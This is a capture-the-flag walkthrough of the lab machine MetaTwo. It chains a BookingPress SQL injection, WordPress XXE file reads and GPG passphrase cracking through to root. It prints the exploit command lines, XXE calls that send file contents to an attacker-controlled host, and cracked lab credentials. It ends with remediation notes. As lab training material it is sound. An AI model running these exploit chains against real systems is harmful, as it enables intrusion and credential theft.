CPTS Prep - MetaTwo - Linux Easy
Difficulty: Easy OS: Linux Topics: WordPress, SQL Injection, XXE, FTP, Passpie, GPG
Overview
MetaTwo is an Easy-rated Linux box that chains together three CVEs to get from zero to root. The foothold comes from an unauthenticated SQL injection in a WordPress plugin that leaks password hashes, which are then cracked to log in as a low-privilege WordPress user. From there, an authenticated XXE vulnerability in the WordPress media library is used to read arbitrary files off the server, pulling credentials out of the WordPress config and an FTP-accessible PHP mailer script. Those credentials get us a shell as jnelson. Privilege escalation involves cracking a GPG key protecting a Passpie password store that contains root's SSH password.
Enumeration
Port Scan
r3v@copium ~ [SIGINT]> sudo nmap -sC -sV 10.129.228.95
[sudo] password for r3v:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-09-05 13:30 CEST
Nmap scan report for 10.129.228.95
Host is up (0.10s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp?
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
| 256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_ 256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 233.27 seconds
Three ports: FTP on 21, SSH on 22, and nginx on 80. The HTTP server immediately discloses the domain metapress.htb via redirect, so that goes straight into /etc/hosts.
Anonymous FTP login does not work, so attention turns to the web server.
Web Enumeration
The site is a barebones WordPress installation. The footer confirms this and there is a search field and an events page with a booking form. Running gobuster against it to map out the structure:
r3v@copium ~> gobuster dir -u http://metapress.htb -w ~/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://metapress.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/r3v/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about (Status: 301) [Size: 0] [--> http://metapress.htb/about-us/]
/rss (Status: 301) [Size: 0] [--> http://metapress.htb/feed/]
/login (Status: 302) [Size: 0] [--> http://metapress.htb/wp-login.php]
/events (Status: 301) [Size: 0] [--> http://metapress.htb/events/]
/0 (Status: 301) [Size: 0] [--> http://metapress.htb/0/]
/feed (Status: 301) [Size: 0] [--> http://metapress.htb/feed/]
/atom (Status: 301) [Size: 0] [--> http://metapress.htb/feed/atom/]
/s (Status: 301) [Size: 0] [--> http://metapress.htb/sample-page/]
/a (Status: 301) [Size: 0] [--> http://metapress.htb/about-us/]
/c (Status: 301) [Size: 0] [--> http://metapress.htb/cancel-appointment/]
/wp-content (Status: 301) [Size: 169] [--> http://metapress.htb/wp-content/]
/admin (Status: 302) [Size: 0] [--> http://metapress.htb/wp-admin/]
/t (Status: 301) [Size: 0] [--> http://metapress.htb/thank-you/]
/e (Status: 301) [Size: 0] [--> http://metapress.htb/events/]
/h (Status: 301) [Size: 0] [--> http://metapress.htb/hello-world/]
/rss2 (Status: 301) [Size: 0] [--> http://metapress.htb/feed/]
/About (Status: 301) [Size: 0] [--> http://metapress.htb/about-us/]
/ca (Status: 301) [Size: 0] [--> http://metapress.htb/cancel-appointment/]
/event (Status: 301) [Size: 0] [--> http://metapress.htb/events/]
/wp-includes (Status: 301) [Size: 169] [--> http://metapress.htb/wp-includes/]
/C (Status: 301) [Size: 0] [--> http://metapress.htb/cancel-appointment/]
/A (Status: 301) [Size: 0] [--> http://metapress.htb/about-us/]
/S (Status: 301) [Size: 0] [--> http://metapress.htb/sample-page/]
/E (Status: 301) [Size: 0] [--> http://metapress.htb/events/]
/about-us (Status: 301) [Size: 0] [--> http://metapress.htb/about-us/]
/Events (Status: 301) [Size: 0] [--> http://metapress.htb/Events/]
/T (Status: 301) [Size: 0] [--> http://metapress.htb/thank-you/]
/H (Status: 301) [Size: 0] [--> http://metapress.htb/hello-world/]
The /events/ path stands out because it hosts the booking form. The /wp-admin/ redirect confirms it is WordPress.
WPScan
Since it is WordPress, WPScan is the obvious next step. The scan comes back with a huge number of findings:
| Interesting Entries:
| - Server: nginx/1.18.0
| - X-Powered-By: PHP/8.0.24
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://metapress.htb/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://metapress.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22).
| Found By: Rss Generator (Passive Detection)
|
| [!] 53 vulnerabilities identified:
|
| [!] Title: WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8
| Fixed in: 5.6.3
| References:
| - https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447
[+] WordPress theme in use: twentytwentyone
[+] Enumerating Users (via Passive and Aggressive Methods)
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://metapress.htb/wp-json/wp/v2/users/?per_page=100&page=1
[+] manager
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] Finished: Sat Sep 5 13:59:13 2026
[+] Requests Done: 3607
[+] Memory used: 335.625 MB
[+] Elapsed time: 00:01:35
The two key takeaways: WordPress 5.6.2 is running, and two users have been identified: admin and manager. The version is important because CVE-2021-29447, an authenticated XXE in the media library, affects exactly this version. However, we need valid credentials before that can be used.
Foothold
CVE-2022-0739: BookingPress SQL Injection
Opening the browser developer tools and watching the network tab while interacting with the events booking form reveals POST requests going to admin-ajax.php with an action of bookingpress_front_save_appointment_booking. Googling BookingPress 1.0.10 surfaces CVE-2022-0739, an unauthenticated SQL injection in exactly this plugin version.
The exploit requires a valid _wpnonce value, which can be grabbed from the page source of /events/. With that in hand:
r3v@copium ~/T/J/MetaTwo [255]> python3 bookingpressexpl.py -u http://metapress.htb/wp-admin/admin-ajax.php -n 346f05164d
- BookingPress PoC
-- Got db fingerprint: 10.5.15-MariaDB-0+deb11u1
-- Count of users: 2
|admin|[email protected]|$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.|
|manager|[email protected]|$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70|
Two phpass hashes dumped. The manager hash gets cracked first:
r3v@copium ~/T/J/MetaTwo> hashcat -w 3 -O -D 1 '$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70' ~/Wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project]
==================================================================================================================================================
* Device #3: cpu-haswell-Intel(R) Core(TM) i5-8250U CPU @ 1.60GHz, 6896/13856 MB (2048 MB allocatable), 8MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
400 | phpass | Generic KDF
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 400 (phpass)
Hash.Target......: $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
Time.Started.....: Sat Sep 5 16:36:30 2026 (6 secs)
Time.Estimated...: Sat Sep 5 16:36:36 2026 (0 secs)
Speed.#3.........: 22150 H/s (45.82ms) @ Accel:1024 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 114688/14344384 (0.80%)
Started: Sat Sep 5 16:36:11 2026
Stopped: Sat Sep 5 16:36:37 2026
Credentials: manager:partylikearockstar
CVE-2021-29447: WordPress Media Library XXE
With valid WordPress credentials, the XXE vulnerability in the media library becomes exploitable. WordPress 5.6.2 running on PHP 8 fails to sanitise XML external entity references when processing audio file metadata. By uploading a specially crafted WAV file containing an XXE payload, the server can be coerced into fetching an attacker-controlled DTD file and exfiltrating the contents of any file readable by the web server process.
r3v@copium ~/T/J/MetaTwo [1]> python3 ./CVE-2021-29447.py --lhost 10.10.15.93 --lport 4433 --target http://metapress.htb --user manager --password partylikearockstar --file /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin
Arbitrary file read is confirmed. The user jnelson is the only non-system user with a shell. Two services stand out: MySQL and ProFTPD. The wp-config.php file is the obvious next target since it always contains database credentials and often contains FTP credentials too when WordPress is configured to use FTP for file management. First, check the nginx config to get the exact web root path:
python3 ./CVE-2021-29447.py ... --file /etc/nginx/sites-enabled/default
Then pull the config:
r3v@copium ~/T/J/MetaTwo> python3 ./CVE-2021-29447.py --lhost 10.10.15.93 --lport 4433 --target http://metapress.htb --user manager --password partylikearockstar --file /var/www/metapress.htb/blog/wp-config.php
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
Two sets of credentials recovered: DB credentials and FTP credentials. The FTP credentials open up the ability to browse the WordPress file structure. Inside the FTP share, a PHP mailer script is found containing yet another set of credentials:
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "[email protected]";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "[email protected]";
$mail->FromName = "James Nelson";
A plaintext password for jnelson. Testing it against SSH:
r3v@copium ~> ssh [email protected]
The authenticity of host 'metapress.htb (10.129.228.95)' can't be established.
ED25519 key fingerprint is SHA256:0PexEedxcuaYF8COLPS2yzCpWaxg8+gsT1BRIpx/OSY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'metapress.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
Last login: Tue Oct 25 12:51:26 2022 from 10.10.14.23
jnelson@meta2:~$ ls
user.txt
jnelson@meta2:~$ cat user.txt
User flag captured.
Privilege Escalation
Passpie and GPG Key Cracking
Enumerating the home directory reveals a .passpie folder. Passpie is a command-line password manager that stores credentials as PGP-encrypted YAML files. The folder structure looks like this:
~/.passpie/
├── .keys <- PGP keypair used to encrypt/decrypt all entries
└── ssh/
└── root.pass
Listing the passpie entries confirms there are stored credentials for both jnelson and root:
jnelson@meta2:~/.passpie/ssh$ passpie list
╒════════╤═════════╤════════════╤═══════════╕
│ Name │ Login │ Password │ Comment │
╞════════╪═════════╪════════════╪═══════════╡
│ ssh │ jnelson │ ******** │ │
├────────┼─────────┼────────────┼───────────┤
│ ssh │ root │ ******** │ │
╘════════╧═════════╧════════════╧═══════════╝
The .keys file contains the PGP private key that protects the store. If the passphrase protecting that key can be cracked, all stored credentials can be decrypted. Pulling the private key block from .keys and running it through gpg2john then John the Ripper:
r3v@copium ~/s/j/run (bleeding-jumbo) [1]> ./gpg2john private.asc > root.hash
File private.asc
r3v@copium ~/s/j/run (bleeding-jumbo) [1]> ./john root.hash --wordlist=/home/r3v/Wordlists/rockyou.txt --format=gpg
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
blink182 (Passpie)
1g 0:00:00:04 DONE (2026-09-05 17:53) 0.2326g/s 39.07p/s 39.07c/s 39.07C/s ginger..987654
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Cracked in 4 seconds. The passphrase is blink182. Back on the box, using passpie to export all stored credentials:
jnelson@meta2:~/.passpie/ssh$ passpie export ~/creds.txt
Passphrase:
jnelson@meta2:~/.passpie/ssh$ cd ../..
jnelson@meta2:~$ cat creds.txt
credentials:
- comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
fullname: jnelson@ssh
login: jnelson
modified: 2022-06-26 08:58:15.514422
name: ssh
password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0
Root's password is p7qfAZt4_A1xo_0x. Switching to root:
jnelson@meta2:~$ su root
Password:
root@meta2:/home/jnelson#
Summary
The attack chain on MetaTwo is a good example of how credential reuse and chained CVEs compound into a full compromise:
- CVE-2022-0739 (BookingPress unauthenticated SQLi) leaks WordPress user hashes
- Hashcat cracks the
managerhash topartylikearockstarin under 10 seconds - CVE-2021-29447 (WordPress XXE in media library) reads
wp-config.phpand the PHPMailer script off the server - Plaintext FTP and SMTP credentials in those files, with the SMTP password being reused for
jnelson's SSH login - Passpie's
.keysfile contains a GPG private key whose passphrase (blink182) is cracked by John in 4 seconds, exposing root's SSH password in the decrypted store
A patch to WordPress 5.7.1 and removal of the vulnerable BookingPress plugin version would close both CVEs. Storing credentials in plaintext inside application configuration files that the web server can read is the root cause of the lateral movement step.